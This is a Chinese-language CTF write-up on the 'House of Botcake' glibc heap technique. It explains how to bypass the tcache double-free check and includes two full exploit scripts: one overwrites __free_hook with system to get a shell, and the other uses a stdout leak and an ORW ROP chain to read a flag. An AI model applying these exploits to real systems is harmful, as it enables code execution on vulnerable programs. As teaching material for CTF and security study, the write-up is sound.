House of Botcake
字数 1662 2025-08-05 08:35:55
House of Botcake 利用技术详解
背景知识
在 glibc 2.29~glibc 2.31 版本中,tcache 引入了 key 值来进行 double free 检测,使得旧版本中直接进行 double free 的方法失效。House of Botcake 是一种绕过这种检测的技术,本质是通过 UAF (Use After Free) 来实现绕过。
Tcache 安全检查机制
源码来自 glibc 2.31:
typedef struct tcache_entry {
struct tcache_entry *next; // 链表指针,对应 chunk 中的 fd 字段
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key; // 指向所属的 tcache 结构体,对应 chunk 中的 bk 字段
} tcache_entry;
每个 tcache 中的 chunk 增加了一个 key 指针,用于指向所属的 tcache 结构体:
static __always_inline void tcache_put(mchunkptr chunk, size_t tc_idx) {
tcache_entry *e = (tcache_entry *)chunk2mem(chunk);
/* Mark this chunk as "in the tcache" so the test in _int_free will detect a double free. */
e->key = tcache; // 设置所属的 tcache
e->next = tcache->entries[tc_idx]; // 单链表头插法
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]); // 计数增加
}
size_t tc_idx = csize2tidx(size);
if (tcache != NULL && tc_idx < mp_.tcache_bins) {
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *)chunk2mem(p);
/* 如果是 double free,那么 put 时 key 字段被设置了 tcache,就会进入循环被检查出来
如果不是,那么 key 字段就是用户数据区域,可以视为随机的,只有 1/(2^size_t) 的可能行进入循环,然后循环发现并不是 double free */
if (__glibc_unlikely(e->key == tcache)) // 剪枝
{
tcache_entry *tmp;
LIBC_PROBE(memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
if (tmp == e)
malloc_printerr("free(): double free detected in tcache 2");
}
if (tcache->counts[tc_idx] < mp_.tcache_count) // 通过检查,放入 tcache 中
{
tcache_put(p, tc_idx);
return;
}
}
绕过 Tcache Double Free 检查的方法
- 破坏掉被 free 的堆块中的 key,绕过检查(常用)
- 改变被 free 的堆块的大小,遍历时进入另一 idx 的 entries
- House of Botcake(常用)
House of Botcake 原理
House of Botcake 合理利用了 Tcache 和 Unsortedbin 的机制:
- 同一堆块第一次 Free 进 Unsortedbin 避免了 key 的产生
- 第二次 Free 进入 Tcache,让高版本的 Tcache Double Free 再次成为可能
在条件合适的情况下,House of Botcake 极其容易完成多次任意分配堆块,是相当好用的手法。
利用姿势
通常的利用思路:
- 填充完 tcache bin 链表
- 把一个 chunkA free 到 unsorted bin 中
- 把这一个 chunkA 上面紧邻的 chunkB free 掉,这样 A、B 就会合并
- unsorted bin 中的 fd 指针就从 chunkA 的 fd 指针,变成了 chunkB 的 fd 指针
- 先申请一个 chunk 在 tcache bin 中给 chunk A 留下空间
- 利用 House of Botcake 的原理再 free chunkA,这时候 chunk A 已经 double free 了
- 在 unsorted bin 中申请一个比较大的空间,通过 chunkB、chunkA 的相邻来改变 chunkA 的 fd 指针
实例分析
HGAME 2023 week2 new_fast_note
漏洞分析
程序提供了基本的堆操作功能:
- add_note: 添加笔记,限制数量为 19,大小不超过 0xFF
- delete_note: 删除笔记
- show_note: 显示笔记内容
利用思路
- 填充 tcache bin
- 释放 chunk 到 unsorted bin 泄露 libc 地址
- 利用 House of Botcake 实现 double free
- 修改 __free_hook 为 system
- 释放包含 "/bin/sh" 的 chunk 获取 shell
EXP 代码
for i in range(7):
add(i, 0x80, 'a')
add(7, 0x80, 'a')
add(8, 0x80, 'a')
add(9, 0x20, 'b')
for i in range(7):
delete(i)
delete(8)
show(8)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x1ecbe0
__free_hook = libc_base + libc.sym["__free_hook"]
system_addr = libc_base + libc.sym["system"]
delete(7)
add(10, 0x80, 'a')
delete(8) # double free
payload = 'a'*0x80 + p64(0) + p64(0x91) + p64(__free_hook)
add(11, 0xa0, payload)
add(12, 0x80, '/bin/sh\x00')
add(13, 0x80, p64(system_addr))
delete(12)
CISCN 2022 华东北分区赛 blue
漏洞分析
程序限制:
- add 申请 size <= 0x90
- 开启了 sandbox
- 只有一次 UAF
- 只有一次 show
利用思路
- 通过 unsorted bin 向前合并堆块
- 申请 chunk 改变 UAF 存留在 tcache bin 中的指针
- 修改 IO_2_1_stdout 结构体
- 用 environ 泄露出栈地址以获得程序的返回地址
- 再次释放重叠的堆块,修改 size 和 fd
- 构造 ORW 链获取 flag
EXP 代码
for i in range(7):
add(0x80, 'aaaa')
add(0x80, 'aaaa')
add(0x80, 'aaaa')
add(0x80, 'aaaa')
add(0x10, 'aaaa')
for i in range(7):
delete(i)
UAF(8)
show(8)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00')) - 0x1ecbe0
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
environ = libc_base + libc.sym['environ']
delete(7)
add(0x80, 'aaaa') #0
delete(8)
add(0x70, 'aaaa') #1
add(0x90, p64(0) + p64(0x91) + p64(stdout)) #2
add(0x80, 'aaaa') #3
add(0x80, p64(0xfbad1887) + p64(0)*3 + p64(environ) + p64(environ+8)) #4
stack_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x128
delete(3)
delete(2)
add(0x90, p64(0) + p64(0x91) + p64(stack_addr))
add(0x80, 'aaaa')
flag_addr = stack_addr
ppp = stack_addr + 0x200
pl = b'./flag\x00\x00'
pl += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0) + p64(open_addr)
pl += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(ppp) + p64(pop_rdx_ret) + p64(0x50) + p64(read_addr)
pl += p64(pop_rdi_ret) + p64(ppp) + p64(puts_addr)
add(0x80, pl)
总结
House of Botcake 是一种在高版本 glibc 中实现 double free 的有效技术,关键在于:
- 合理利用 unsorted bin 和 tcache 的机制
- 通过堆块合并改变指针
- 在适当的时候进行 double free
- 结合其他技术如 IO 泄露、ORW 等实现完整利用
这种技术在 CTF 比赛中经常出现,掌握其原理和实现方式对于堆漏洞利用至关重要。